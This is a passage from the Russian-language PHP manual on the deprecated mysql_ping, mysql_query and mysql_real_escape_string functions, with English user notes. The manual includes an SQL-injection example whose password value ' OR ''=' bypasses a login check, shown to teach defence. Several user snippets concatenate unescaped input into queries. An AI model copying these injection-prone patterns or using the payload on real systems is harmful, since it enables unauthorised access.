Be warned if you use different parameters for mysql_pconnect() in different scripts on server: PHP can create single persistent connection for every set of parameters in each process up to mysql.max_persistent (PHP directive) per process. So even if you have MaxClients Apache directive set lesser then max_connections MySQL directive, you can easily get Too many connections MySQL error.

If mysql.max_persistent is set to other value than -1 (unlimited, default value), connections over this limit are silently denied, so use it with care.

Solution: For servers with potentially unlimited set of connection parameters, forbid persistent connection with mysql.allow_persistent=Off.
script_this at yahoo dot com 05-Aug-2003 11:41
in response to uthayakutty76 at yahoo dot com's
30-Jun-2003 12:31 post:

-----------------------------------------------------------
...The problem is that the connection to the MySQL
servers is interrupted very quickly or there is not
connection at all. We found out that when using the
domain of the server instead of "localhost" problems
occur.....
-----------------------------------------------------------

try setting the wait_timeout variable in my.cnf for
mysql very high so the connections aren't ever idle for
that amount of time.  ridiculous really, but it works for
localhost or remote database server where as the
localhost solution only works if the database is local i
think.
pulstar at mail dot com 18-Jul-2003 11:13
I had some problems when connecting to a remote server with mysql_pconnect and using the flag MYSQL_CLIENT_COMPRESS. Sometimes it connect, but many times it give me the error:
Warning: mysql_pconnect(): Unknown database 'XXXXX'

If you have the same problem, try using mysql_connect instead. It worked fine for me. The script will take a long to reconnect each time the page is reloaded, but it will transfer data with compression. This is a little more secure than to send plain data over the Internet and also more faster when transmiting large amount of data.
rochlin at centralpets dot com 12-Jul-2003 08:27
Do not use transactions (e.g. with InnoDB MySQL tables) with persistent connections.  If your script stops or exits for any reason, your transaction will be left open and your locks will be left on.  You have to reset MySQL to release them (so far as I can figure).   They won't ROLLBACK automatically on error, like they ought to.   When you restart the script, you'll get a new connection, so you can't rollback or commit for the previous script.   Any script with a start transaction, rollback, or commit SQL statement should use regular (not persistent) connections.   Seems like PHP ought to automatically issue a ROLLBACK on any open transactions when a script exits (error or otherwise) without a COMMIT.  ZEND's site has a brief blurb on this.  It's OK to mix/match so you use a persistent connection for the read stuff, but open a new regular connection conditionally (if you have to update, which is usually less often).
rudenko at id.com.ua 08-Apr-2003 07:15
You can solve problem with persistent connections setting directive mysql.allow_persistent = Off in php configuration file. The users whitch will try to create persistant connetion /mysql_pconnect()/ will be connected to db
with nonpersistant connection /mysql_connect()/

For more info see user notes at section Persistant Connections. http://www.php.net/manual/en/features.persistent-connections.php
--
http://www.id.com.ua Ilya Rudenko
amn -at- frognet.net 11-Mar-2003 10:45
Be careful using mysql_pconnect. If you are hosting on an ISP, they may frown upon you using multiple persistant mysql connections as this consumes resources for a longer period of time. If your script crashes, your connection can stay open for long periods of time. If there is a loop involved, you could accidently eat up all the available connections. That might be considered abuse by an ISP and you could get in trouble. Try using mysql_connect first instead. 90% of the time, a non-persistant mysql_connect call will do the trick just fine.
fate_amendable_to_changeNOSPAM at yahoo dot com 30-Oct-2002 03:58
To tell mysql_pconnect to connect to mysql on a port other than the default use a colon - eg

mysql_pconnect("127.0.0.1:4444", "user", "pass")

would connect to localhost on port 4444

(useful for ssh tunneling etc)
david at acz dot org 23-Apr-2002 11:41
You need to be VERY careful when using LOCK TABLES with persistent connections.  If the script terminates before the UNLOCK TABLES is executed, the the table(s) will stay locked, and very likely hang future scripts.  This is noted in a bug report, but is still not reflected in the documentation: http://bugs.php.net/bug.php?id=7634
bartek at bulzak dot com 26-Feb-2002 02:37
PHP 4.1.1 running with Apache under Linux doesn't seem to be doing all necessary flushing when handling persistant mysql connections. Try it out for yourself. Create a temporary table in a pconnect session, add rows (non unique), select/display and drop the table. Now reload your script multiple times, you will see that your results are not consistent, even though you are creating a new table everytime and dropping it..

I had my share of problems with pconnect and suggest you don't use it unless absolutely necessary. In that case make sure you test your results for consistency, especially when your queries involve temporary tables or mysql session variables.

Bartek Bulzak
sasha at mysql dot com 27-Apr-2000 09:43
If you need to close idle persistent connections, set a low wait_timeout in MySQL


Проверяет соединение с сервером и пересоединяется при необходимости

  • « mysql_pconnect
  • mysql_query »
  • PHP Manual
  • MySQL
  • Проверяет соединение с сервером и пересоединяется при необходимости

mysql_ping

(PHP 4 >= 4.3.0, PHP 5)

mysql_ping — Проверяет соединение с сервером и пересоединяется при необходимости

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_ping()

Описание

mysql_ping(resource $link_identifier = NULL): bool

Проверяет работает ли соединение с сервером. Если оно утеряно, автоматически предпринимается попытка пересоединения. Эта функция может быть использована в скриптах, работающих на протяжении долгого времени.

Замечание:

Автоматическое восстановление соединения по умолчанию отключено в версиях MySQL >= 5.0.3.

Список параметров

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает true, если соединение в рабочем состоянии и false в противном случае.

Примеры

Пример #1 Пример использования mysql_ping()

<?php
set_time_limit(0);

$conn = mysql_connect('localhost', 'mysqluser', 'mypass');
$db = mysql_select_db('mydb');

/* Подразумевается что этот запрос будет выполняться достаточно долго */
$result = mysql_query($sql);
if (!$result) {
echo 'Запрос #1 не удался, выходим.';
exit;
}

/* Проверяем что соединение ещё работает, если нет, соединяемся заново */
if (!mysql_ping($conn)) {
echo 'Соединение потеряно, выходим после запроса #1';
exit;
}
mysql_free_result($result);

/* Соединение ещё работает, выполняем ещё один запрос */
$result2 = mysql_query($sql2);
?>

Смотрите также

  • mysql_thread_id() - Возвращает идентификатор текущего потока
  • mysql_list_processes() - Возвращает список процессов MySQL

User Contributed Notes

Doug 19-Apr-2010 08:24
This function *does not* attempt to reconnect at this time.  It only tells you whether or not you currently *are* connected.

To actually reconnect, you will have to implement this yourself in a wrapper class.
alext at marketdream dot com dot mx 29-Sep-2009 08:28
mysql_ping() is really helpful when you have this annoying error:

MYSQL Error 2006 Server has gone away

For CI users:
In 1.7.2 version of codeigniter, there is a function

$this->db->reconnect()

that uses mysql_ping() to reestablish the timed out connection.

This function is specially useful when developing social media sites that uses hundreds of connections to the db such asinserting or selecting.
luky37 03-Feb-2009 11:15
If you get 'error 2006: MySQL server has gone away' messages when running (really) long scripts, mysql_ping will help detecting the loss of the db-connection. This can happen, when 'wait timeout' is reached (MySQL default is 8 hours).
miro dot dietiker at md-systems dot ch 31-Aug-2007 11:32
When checking if a $resource works...
be prepared that mysql_ping returns NULL as long as $resource is no correct mysql resource.
<?php
$resource =NULL;
var_dump = @mysql_ping($resource);
# showing NULL
?>
This could be used to decide of a current $resource is a mysql or a mysqli connection when nothing else is available to do that...
dustin hawkins 31-Jul-2006 12:32
When using the mysql_ping command under php 5.1.2 and mysql 5.0, I was having problems with the auto-reconnect "feature", mainly that when the connection was severed, a mysql_ping would not automatically re-establish the connection to the database.

The connection to the DB is dropped when the time without a query excedes the wait_timeout value in my.cnf. You can check your wait_timeout by running the query "SHOW VARIABLES;"

If you're having problems auto-reconnecting when the connection is dropped, use this code:

<?php

$conn = mysql_connect('localhost','user','pass');
mysql_select_db('db',$conn);

if (!mysql_ping ($conn)) {
   //here is the major trick, you have to close the connection (even though its not currently working) for it to recreate properly.
   mysql_close($conn);
   $conn = mysql_connect('localhost','user','pass');
   mysql_select_db('db',$conn);
}

//run queries knowing that your connection is alive....

?>
cybot2000 at yahoo dot de 25-May-2005 04:44
It should be noted that mysql_ping() seems to reset the error message on the server.
I used it to check whether the connection was still alive before reading the error message via mysql_error() and it always returned an empty string. Upon removing the connection check everything worked.
vinicius at teracom dot com dot br 16-Mar-2004 07:35
Is important to remember that if your first connection to mysql don't works, mysql_ping will always return true! So, if you want to check if mysql is connected, first of all you must check if mysql_connect do not returns false and then you can begin to check mysql_ping.


Посылает запрос MySQL

  • « mysql_ping
  • mysql_real_escape_string »
  • PHP Manual
  • MySQL
  • Посылает запрос MySQL

mysql_query

(PHP 4, PHP 5)

mysql_query — Посылает запрос MySQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_query()
  • PDO::query()

Описание

mysql_query(string $query, resource $link_identifier = NULL): mixed

mysql_query() посылает один запрос (посылка нескольких запросов не поддерживается) активной базе данных сервера, на который ссылается переданный дескриптор link_identifier.

Список параметров

query

SQL-запрос

Запрос не должен заканчиваться точкой с запятой. Данные в запросе должны быть корректно проэкранированы.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Для запросов SELECT, SHOW, DESCRIBE, EXPLAIN и других запросов, возвращающих результат из нескольких рядов, mysql_query() возвращает дескриптор результата запроса (resource), или false в случае возникновения ошибки.

Для других типов SQL-запросов, INSERT, UPDATE, DELETE, DROP и других, mysql_query() возвращает true в случае успешного выполнения и false в случае возникновения ошибки.

Полученный дескриптор результата нужно передать в функцию mysql_fetch_assoc() или любую другую функцию, работающую с результатами запросов.

Используйте mysql_num_rows() для выяснения количества рядов в результате SELECT-запроса или mysql_affected_rows() для выяснения количества обработанных рядов запросами DELETE, INSERT, REPLACE и UPDATE.

mysql_query() также завершится с ошибкой и вернёт false, если у пользователя нет доступа к какой-либо из таблиц, фигурирующих в запросе.

Примеры

Пример #1 Неверный запрос

Следующий запрос составлен неправильно и mysql_query() вернёт false.

<?php
$result = mysql_query('SELECT * WHERE 1 = 1');
if (!$result) {
die('Неверный запрос: ' . mysql_error());
}

?>

Пример #2 Верный запрос

Следующий запрос верен, поэтому mysql_query() вернёт resource.

<?php
// Эти данные, к примеру, могли быть получены от пользователя
$firstname = 'fred';
$lastname = 'fox';

// Формируем запрос
// Это лучший способ выполнить SQL-запрос
// Ещё примеры можно найти в документации mysql_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends
WHERE firstname='%s' AND lastname='%s'",
mysql_real_escape_string($firstname),
mysql_real_escape_string($lastname));

// Выполняем запрос
$result = mysql_query($query);

// Проверяем результат
// Это показывает реальный запрос, посланный к MySQL, а также ошибку. Удобно при отладке.
if (!$result) {
$message = 'Неверный запрос: ' . mysql_error() . "\n";
$message .= 'Запрос целиком: ' . $query;
die($message);
}

// Используем результат
// Попытка напечатать $result не выведет информацию, которая в нем хранится
// Необходимо использовать какую-либо mysql-функцию, работающую с результатом запроса
// Смотрите также mysql_result(), mysql_fetch_array(), mysql_fetch_row() и т.п.
while ($row = mysql_fetch_assoc($result)) {
echo $row['firstname'];
echo $row['lastname'];
echo $row['address'];
echo $row['age'];
}

// Освобождаем ресурсы, ассоциированные с результатом
// Это делается автоматически в конце скрипта
mysql_free_result($result);
?>

Смотрите также

  • mysql_connect() - Открывает соединение с сервером MySQL
  • mysql_error() - Возвращает текст ошибки последней операции с MySQL
  • mysql_real_escape_string() - Экранирует специальные символы в строках для использования в выражениях SQL
  • mysql_result() - Возвращает данные результата запроса
  • mysql_fetch_assoc() - Возвращает ряд результата запроса в качестве ассоциативного массива
  • mysql_unbuffered_query() - Посылает запрос MySQL без авто-обработки результата и его буферизации

User Contributed Notes

fbraz3 at gmail dot com 30-May-2018 07:36
This project implements a wrapper to mysql functions in PHP7.0+

https://github.com/OOPS-ORG-PHP/mysql-extension-wrapper

tested and working fine =)
mwwaygoo at hotmail dot com 03-Apr-2012 02:16
I much prefer to use the same syntax for single INSERT, REPLACE and UPDATE queries as it is easier to read and keeps my code shorter (no seperate building of insert and update values)

INSERT INTO table SET x='1', y=3
UPDATE table SET x='2' WHERE y=3

So if your using a function to build your query, you will only ever need to code the "field=value, field2=value2" part for any query.
ddlshack [at] gmail.dot.com 20-Dec-2010 09:12
Use this to neatly insert data into a mysql table:

<?php
function mysql_insert($table, $inserts) {
    $values = array_map('mysql_real_escape_string', array_values($inserts));
    $keys = array_keys($inserts);

    return mysql_query('INSERT INTO `'.$table.'` (`'.implode('`,`', $keys).'`) VALUES (\''.implode('\',\'', $values).'\')');
}
?>

For example:

<?php

mysql_insert('cars', array(
    'make' => 'Aston Martin',
    'model' => 'DB9',
    'year' => '2009',
));
?>
Richie (at) RichieBartlett.com 28-Sep-2009 04:43
For those of you whom spent hours bashing your brains against the keyboard wondering why your non-English characters are output as question marks... Try the following:

<?php

$db = mysql_connect('YOUR_DB_ADDRESS','YOUR_DB_USER','YOUR_DB_PASS') or die("Database error");
mysql_select_db('YOUR_DB', $db);

//SOLUTION::  add this comment before your 1st query -- force multiLanuage support
$result = mysql_query("set names 'utf8'");

$query = "select * from YOUR_DB_TABLE";
$result = mysql_query($query);

//-THE_REST_IS_UP_TO_YOU-

?>

Simply run the query "set names 'utf8' " against the MySQL DB and your output should appear correct.
Anonymous 25-Jun-2009 08:18
When processing a RENAME TABLE query, PHP apparently always returns false, no matter if the query was successfully processed or not.
ialsoagree 30-Jan-2009 08:24
When you run a select statement and receive a response, the data types of your response will be a string regardless of the data type of the column.

<?php
// Query to select an int column
$query = 'SELECT user_id FROM users WHERE user_id = 1';
$result = mysql_query($query);
$array = mysql_fetch_assoc($result);

// Echoes: string
echo gettype($array['user_id']);
?>
Mr. Tim 18-Sep-2008 11:42
It should be noted that mysql_query can generate an E_WARNING (not documented).  The warning that I hit was when the db user did not have permission to execute a UDF.

Expected behavior would be like an Invalid SQL statement, where there is no E_WARNING generated by mysql_query.

Warning: mysql_query() [function.mysql-query]: Unable to save result set in filename.php

The mysql_errno is 1370 and the mysql_error is:

execute command denied to user 'username'@'%' for routine 'database_name.MyUDF'
fernandoleal at loytek dot com 16-Jun-2008 03:28
Dunno if is it a bug but when you are working with replications servers and work with multiple databases queries if you don't select the database it will only insert,update,delete into the master and bypass the slave, I think it its because it doesn't insert the sql on the binary log so the work around its to just call mysql_select_db
MYSQL : 5.0.51a-log
PHP: 5.2.6
Example:
<?php
#Inserts only to master
$link=mysql_connect('host','user','pass');
$sql ="INSERT INTO mysql.host (host) VALUES ('localhost');"
var_dump(mysql_query($sql,$link));

#The Working Way Master - Slave
$link2=mysql_connect('host','user','pass');
$select_db = mysql_select_db('mysql', $link2);
var_dump(mysql_query($sql,$link2));
?>
rogier 10-Apr-2008 06:55
For all you programmers out there getting the 'Command out of synch' errors when executing a stored procedure call:

There are known bugs related to this issue, and the best workaround for avoiding this error seems to be switching to mysqli.

Still, I needed mysql to also handle these calls correctly.
The error is normally related to wrong function call sequences, though the bug report at  http://bugs.php.net/bug.php?id=39727 shows otherwise.

For me, after commenting out hundreds of lines and several introspection calls to parse the procedure information (using information_schema and 'SHOW' extensions), I still got the same error.
The first result is returned, because I initiated my connection using the MYSQL_MULTI_RESULTS value of 131072 (forget this and you will never get any output, but an error message stating mysql cannot return results in this context)

After testing with this code (sproc2 simply calls 'SELECT * FROM sometable'), I found the error must be in the mysql library/extension. Somehow, mysql does not handle multiple resultsets correctly, or is at least missing some functionality related to handling multiple results.

<?php
    //...
    $rs = mysql_query('CALL sproc2(500)');
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);

    $rs = mysql_query('CALL sproc2(500)');
    print mysql_error(); //the notorious 'command out of synch' message :(
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);
?>

After spending hours debugging my code (the full library is already over the MB), the only solution seemed to be to CLOSE the connection after the first call, and reopening it before the second.

So if you ever make a uniform database accessing interface and implement stored procedures/prepared statements (or classes for it), this could be a solution if you really wish to enable stored procedures.

Still, be aware that this is really a serious flaw in your design (and IMHO, the mysql extension)

Also see the documentation for mysqli on mysqli_query, which seems to be working fine.
masteracc0 at aol dot com 17-Nov-2007 10:00
Keep in mind when dealing with PHP & MySQL that sending a null-terminated string to a MySQL query can be misleading if you use echo($sql) in PHP because the null terminator may not be visible.

For example (this assumes connection is already made),
$string1 = "mystring\0";
$string2 = "mystring";

$query1 = "SELECT * FROM table WHERE mystring='".$string1."'"
$query2 = "SELECT * FROM table WHERE mystring='".$string2."'"

$result1 = mysql_query($query1);

$result2 = mysql_query($query2);

//$result1 IS NOT EQUAL TO $result2 but will not provide an error

//but printing these queries to the screen will provide the same result
echo($result1);
echo($result2);

Not knowing this could lead to some mind-numbing troubleshooting when dealing with any strings with a null terminator.  So now you know! :)
halion at gmail dot com 09-Aug-2007 02:53
mysql_query doesnt support multiple queries, a way round this is to use innodb and transactions

this db class/function will accept an array of arrays of querys, it will auto check every line for affected rows in db, if one is 0 it will rollback and return false, else it will commit and return true, the call to the function is simple and is easy to read etc
----------

class MySQLDB
{
   private $connection;          // The MySQL database connection

   /* Class constructor */
   function MySQLDB(){
      /* Make connection to database */
      $this->connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS) or die(mysql_error());
      mysql_select_db(DB_NAME, $this->connection) or die(mysql_error());
   }

   /* Transactions functions */

   function begin(){
      $null = mysql_query("START TRANSACTION", $this->connection);
      return mysql_query("BEGIN", $this->connection);
   }

   function commit(){
      return mysql_query("COMMIT", $this->connection);
   }

   function rollback(){
      return mysql_query("ROLLBACK", $this->connection);
   }

   function transaction($q_array){
         $retval = 1;

      $this->begin();

         foreach($q_array as $qa){
            $result = mysql_query($qa['query'], $this->connection);
            if(mysql_affected_rows() == 0){ $retval = 0; }
         }

      if($retval == 0){
         $this->rollback();
         return false;
      }else{
         $this->commit();
         return true;
      }
   }

};

/* Create database connection object */
$database = new MySQLDB;

// then from anywhere else simply put the transaction queries in an array or arrays like this:

   function function(){
      global $database;

      $q = array (
         array("query" => "UPDATE table WHERE something = 'something'"),
         array("query" => "UPDATE table WHERE something_else = 'something_else'"),
         array("query" => "DELETE FROM table WHERE something_else2 = 'something_else2'"),
      );

      $database->transaction($q);

   }
jack dot whoami at gmail dot com 01-Aug-2007 06:13
Simulating an atomic operation for application locks using mysql.

$link = mysql_connect('localhost', 'user', 'pass');
if (!$link) {
    die('Not connected : ' . mysql_error());
}

// make foo the current db
$db_selected = mysql_select_db('foo', $link);
if (!$db_selected) {
    die ('Can\'t use foo : ' . mysql_error());
}

$q = "update `table` set `LOCK`='F' where `ID`='1'";
$lock = mysql_affected_rows();

If we assume
     NOT LOCKED = "" (empty string)
     LOCKED = 'F'

then if the column LOCK had a value other than F (normally should be an empty string) the update statement sets it to F and set the affected rows to 1. Which mean than we got the lock.
If affected rows return 0 then the value of that column was already F and somebody else has the lock.

The secret lies in the following statement taken from the mysql manual:
"If you set a column to the value it currently has, MySQL notices this and does not update it."

Of course all this is possible if the all application processes agree on the locking algorithm.
veyita_angi at hotmail dot com 04-Oct-2006 09:35
this could be a nice way to print values from 2 tables with a foreign key. i have not yet tested correctly but it should work fine.

$buscar = mysql_query("SELECT k.*, e.Clasificacion FROM cat_plan_k k, cat_equipo e WHERE Tipo='$tipo' AND k.ID_Eq=a.ID_Eq");
    while ($row=mysql_fetch_array($buscar))
        {
            $nombre = "e.Clasificacion";
            $row[$nombre] = $Clasific; echo $row[$nombre].'convertido en '.$Clasific;
        }
    mysql_free_result($buscar);
cc+php at c2se dot com 02-Sep-2006 05:39
Here's a parameterised query function for MySQL similar to pg_query_params, I've been using something similar for a while now and while there is a slight drop in speed, it's far better than making a mistake escaping the parameters of your query and allowing an SQL injection attack on your server.

<?php   # Parameterised query implementation for MySQL (similar PostgreSQL's PHP function pg_query_params)
        # Example: mysql_query_params( "SELECT * FROM my_table WHERE col1=$1 AND col2=$2", array( 42, "It's ok" ) );

        if( !function_exists( 'mysql_query_params' ) ) {

                function mysql_query_params__callback( $at ) {
                        global $mysql_query_params__parameters;
                        return $mysql_query_params__parameters[ $at[1]-1 ];
                }

                function mysql_query_params( $query, $parameters=array(), $database=false ) {

                        // Escape parameters as required & build parameters for callback function
                        global $mysql_query_params__parameters;
                        foreach( $parameters as $k=>$v )
                                $parameters[$k] = ( is_int( $v ) ? $v : ( NULL===$v ? 'NULL' : "'".mysql_real_escape_string( $v )."'" ) );
                        $mysql_query_params__parameters = $parameters;

                        // Call using mysql_query
                        if( false===$database )
                                return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ) );
                        else    return mysql_query( preg_replace_callback( '/\$([0-9]+)/', 'mysql_query_params__callback', $query ), $database );

                }
        }

?>
rob desbois 07-Jul-2006 02:38
Note that the 'source' command used in the mysql client program is *not* a feature of the server but of the client.
This means that you cannot do
   mysql_query('source myfile.sql');
You will get a syntax error. Use LOAD DATA INFILE as an alternative.
22-Feb-2006 11:11
If, like me, you come from perl, you may not like having to use sprintf to 'simulate' placeholders that the DBI package from perl provides. I have created the following wrapper function for mysql_query() that allows you to use '?' characters to substitute values in your DB queries. Note that this is not how DBI in perl handles placeholders, but it's pretty similar.

<?php
    // mysql_query() wrapper. takes two arguments. first
    // is the query with '?' placeholders in it. second argument
    // is an array containing the values to substitute in place
    // of the placeholders (in order, of course).
    function mysql_prepare ($query, $phs = array()) {
        foreach ($phs as $ph) {
            $ph = "'" . mysql_real_escape_string($ph) . "'";
            $query = substr_replace(
                $query, $ph, strpos($query, '?'), 1
            );
        }

        return mysql_query($query);
    }

    // sample usage
    list($user, $passwd) = array('myuser', 'mypass');

    $sth = mysql_prepare(
        'select userid from users where userid=? and passwd=?',
        array($user, sha1($passwd))
    );
    $row = mysql_fetch_row($sth);

    // successfull username & password authentication
    if ($row !== false) {
        echo "logging in as '{$row[0]}'!\n";
    }

    // oops, wrong userid or passwd
    else {
        echo "Invalid username and password combination.\n";
    }
?>
php at arcannon dot com 01-Oct-2005 03:30
I believe there is a typo in celtic at raven-blue dot com version with:

if (($sql != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I think you really ment:

if (($tsl != "") && (substr($tsl, 0, 2) != "--") && (substr($tsl, 0, 1) != "#")) {

I changed the $sql to $tsl
ix at nivelzero dot ro 14-Aug-2005 03:07
here's a script for parsing a *.sql file (tested only on dumps created with phpMyAdmin) which is short and simple (why do people say "here's a short and simple script" and it has a 100 lines?). the script skips comments and allows ; to be present within the querys

<?php
  function parse_mysql_dump($url){
    $file_content = file($url);
    $query = "";
    foreach($file_content as $sql_line){
      if(trim($sql_line) != "" && strpos($sql_line, "--") === false){
        $query .= $sql_line;
        if(preg_match("/;[\040]*\$/", $sql_line)){
          $result = mysql_query($query)or die(mysql_error());
          $query = "";
        }
      }
    }
  }
?>
wjyong at sh163 dot net 30-Apr-2005 04:21
The following query is not valid as expected:
<?php
$username = 'dicteworld';
$username{4} = '';
$sql = "SELECT * FROM `user` WHERE `User` = '$username'";
print($sql); // Result: SELECT * FROM `user` WHERE `User` = 'dictworld'
$res = mysql_query($query);
$row = mysql_fetch_array($res);
print_r($row);// Result: still return Array(), supposed that the user 'dictworld' exists.
?>
Pay more attention that null string '' is equivalent to '\0',therefore SQL statement above is equivalent to SELECT * FROM `user` WHERE `User` = 'dict\0world',though printing string is right.
jon at websandbox dot net 25-Jan-2005 05:25
I think it's important to note (for newbies, like me especially) that an empty result is not the same as an error:
<?php
/* 'bar' is an empty table in the db */
$rs = mysql_query("SELECT `foo` FROM `bar`")
if($rs) {
  echo mysql_num_rows($rs); //outputs: 0
}

/* malformed query /*
$rs = mysql_query("SELECT `foo` FRO `bar`");
if($rs) {
  echo "This will never be echoed";
}
?>
Predrag Supurovic 30-Nov-2003 04:52
If you need to execute sevaral SQL commands in a row (usually called batcg SQL) using PHP you canot use mysql_query() since it can execute single command only.

Here is simple but effective function that can run batch SQL commands. Take cere, if string contains semicolon (;) anywhere except as command delimiter (within string expression for example) function will not work.

function mysql_exec_batch ($p_query, $p_transaction_safe = true) {
  if ($p_transaction_safe) {
      $p_query = 'START TRANSACTION;' . $p_query . '; COMMIT;';
    };
  $query_split = preg_split ("/[;]+/", $p_query);
  foreach ($query_split as $command_line) {
    $command_line = trim($command_line);
    if ($command_line != '') {
      $query_result = mysql_query($command_line);
      if ($query_result == 0) {
        break;
      };
    };
  };
  return $query_result;
}
chris at hotmail dot com 30-Apr-2003 06:28
Windows programmers, keep in mind that although table names in Windows queries are not case sensitive, many *NIX versions of Mysql require the correct table name case (perhaps others as well). So you're better off using the right case from the beginning, in case you ever decide to go with a *NIX server.
davidc at edeca dot net 19-Apr-2003 12:30
Regarding the idea for returning all possible values of an enum field, the mySQL manual says that "SHOW COLUMNS FROM table LIKE column" should be used to do this.

The function below (presumes db connection) will return an array of the possible values of an enum.

function GetEnumValues($Table,$Column)
    {
    $dbSQL = "SHOW COLUMNS FROM ".$Table." LIKE '".$Column."'";
    $dbQuery = mysql_query($dbSQL);

    $dbRow = mysql_fetch_assoc($dbQuery);
    $EnumValues = $dbRow["Type"];

    $EnumValues = substr($EnumValues, 6, strlen($EnumValues)-8);
    $EnumValues = str_replace("','",",",$EnumValues);

    return explode(",",$EnumValues);
    }

Cavaets:

1) If the LIKE matches more than one column you get the enum from the first, so be careful with the $Column argument
2) You can't have ',' as part of one of the enums (I guess mySQL would escape this, but I haven't tried)
3) If the field isn't an enum you'll get garbage back!

This is just a quick example to show how to do it, some tidying up needs to be done (ie checking if the field is actually an enum) before it is perfect.
09-Apr-2003 12:43
Until this function prohibits them, watch out for SQL comments (--) in your input.
allen a brooker gb net 28-Mar-2003 05:35
One way to reduce the dangers of queries like the dlete command above that dletes the whole DB is to use limits wherever possible.

EG. If you have a routine that is only deisnged to delete 1 record, add 'LIMIT 1' to the end of the command. This way you'll only lose one record if someone does something stupid.

You should also check all input, especially if it is sent using GET. ie. make sure that $_GET['id'] is not NULL or == "", is a number that is positive, not 0 (generally, I know this doesn't apply to some table types, but it applies to the default) and is within the valid range for that field.

Just don't trust ANY data that is sent to your script.

HTH
Allen
nikhil-php at nols dot com 02-Jan-2000 12:38
When trying to INSERT or UPDATE and trying to put a large amount of text or data (blob) into a mysql table you might run into problems.

In mysql.err you might see:
Packet too large (73904)

To fix you just have to start up mysql with the option -O max_allowed_packet=maxsize

You would just replace maxsize with the max size you want to insert, the default is 65536


Экранирует специальные символы в строках для использования в выражениях SQL

  • « mysql_query
  • mysql_result »
  • PHP Manual
  • MySQL
  • Экранирует специальные символы в строках для использования в выражениях SQL

mysql_real_escape_string

(PHP 4 >= 4.3.0, PHP 5)

mysql_real_escape_string — Экранирует специальные символы в строках для использования в выражениях SQL

Внимание

Данный модуль устарел, начиная с версии PHP 5.5.0, и удалён в PHP 7.0.0. Используйте вместо него MySQLi или PDO_MySQL. Смотрите также инструкцию MySQL: выбор API. Альтернативы для данной функции:

  • mysqli_real_escape_string()
  • PDO::quote()

Описание

mysql_real_escape_string(string $unescaped_string, resource $link_identifier = NULL): string

Экранирует специальные символы в unescaped_string, принимая во внимание кодировку соединения, таким образом, что результат можно безопасно использовать в SQL-запросе в функции mysql_query(). Если вставляются бинарные данные, то к ним так же необходимо применять эту функцию.

mysql_real_escape_string() вызывает библиотечную функцию MySQL mysql_real_escape_string, которая добавляет обратную косую черту к следующим символам: \x00, \n, \r, \, ', " и \x1a.

Эта функция должна всегда (за несколькими исключениями) использоваться для того, чтобы обезопасить данные, вставляемые в запрос перед отправкой его в MySQL.

Предостережение

Безопасность: кодировка символов по умолчанию

Кодировка символов должна устанавливаться как на сервере, так и с помощью функции mysql_set_charset(), чтобы влиять на поведение mysql_real_escape_string(). Подробнее описано в разделе кодировка символов.

Список параметров

unescaped_string

Экранируемая строка.

link_identifier

Соединение MySQL. Если идентификатор соединения не был указан, используется последнее соединение, открытое mysql_connect(). Если такое соединение не было найдено, функция попытается создать таковое, как если бы mysql_connect() была вызвана без параметров. Если соединение не было найдено и не смогло быть создано, генерируется ошибка уровня E_WARNING.

Возвращаемые значения

Возвращает строку, в которой экранированы все необходимые символы, или false в случае возникновения ошибки.

Ошибки

Запуск этой функции без существующего соединения с MySQL вызовет ошибку уровня E_WARNING. Данную функцию можно запускать только если есть соединение с MySQL.

Примеры

Пример #1 Простой пример использования mysql_real_escape_string()

<?php
// Соединение
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
OR die(mysql_error());

// Запрос
$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
mysql_real_escape_string($user),
mysql_real_escape_string($password));
?>

Пример #2 Пример использования mysql_real_escape_string() без наличия соединения

Этот пример показывает, что произойдёт, если вызвать эту функцию без наличия соединения с MySQL.

<?php
// Коннекта к MySQL нет

$lastname = "O'Reilly";
$_lastname = mysql_real_escape_string($lastname);

$query = "SELECT * FROM actors WHERE last_name = '$_lastname'";

var_dump($_lastname);
var_dump($query);
?>

Результатом выполнения данного примера будет что-то подобное:

Warning: mysql_real_escape_string(): No such file or directory in /this/test/script.php on line 5
Warning: mysql_real_escape_string(): A link to the server could not be established in /this/test/script.php on line 5

bool(false)
string(41) "SELECT * FROM actors WHERE last_name = ''"

Пример #3 Пример взлома с использованием SQL-инъекции

<?php
// Мы никак не проверили переменную $_POST['password'],
// а она может содержать совсем не то, что мы ожидали. Например:
$_POST['username'] = 'aidan';
$_POST['password'] = "' OR ''='";

// посылаем запрос, чтобы проверить имя и пароль пользователя
$query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";
mysql_query($query);

// посмотрим, какой запрос будет отправлен в MySQL:
echo $query;
?>

Запрос, который будет отправлен в MySQL:

SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''

Это позволит кому угодно войти в систему без пароля.

Примечания

Замечание:

Функцию mysql_real_escape_string() можно использовать только после того, как установлено соединение с MySQL. В противном случае возникнет ошибка уровня E_WARNING, а функция возвратит false. Если link_identifier не указан, используется последнее открытое соединение.

Замечание:

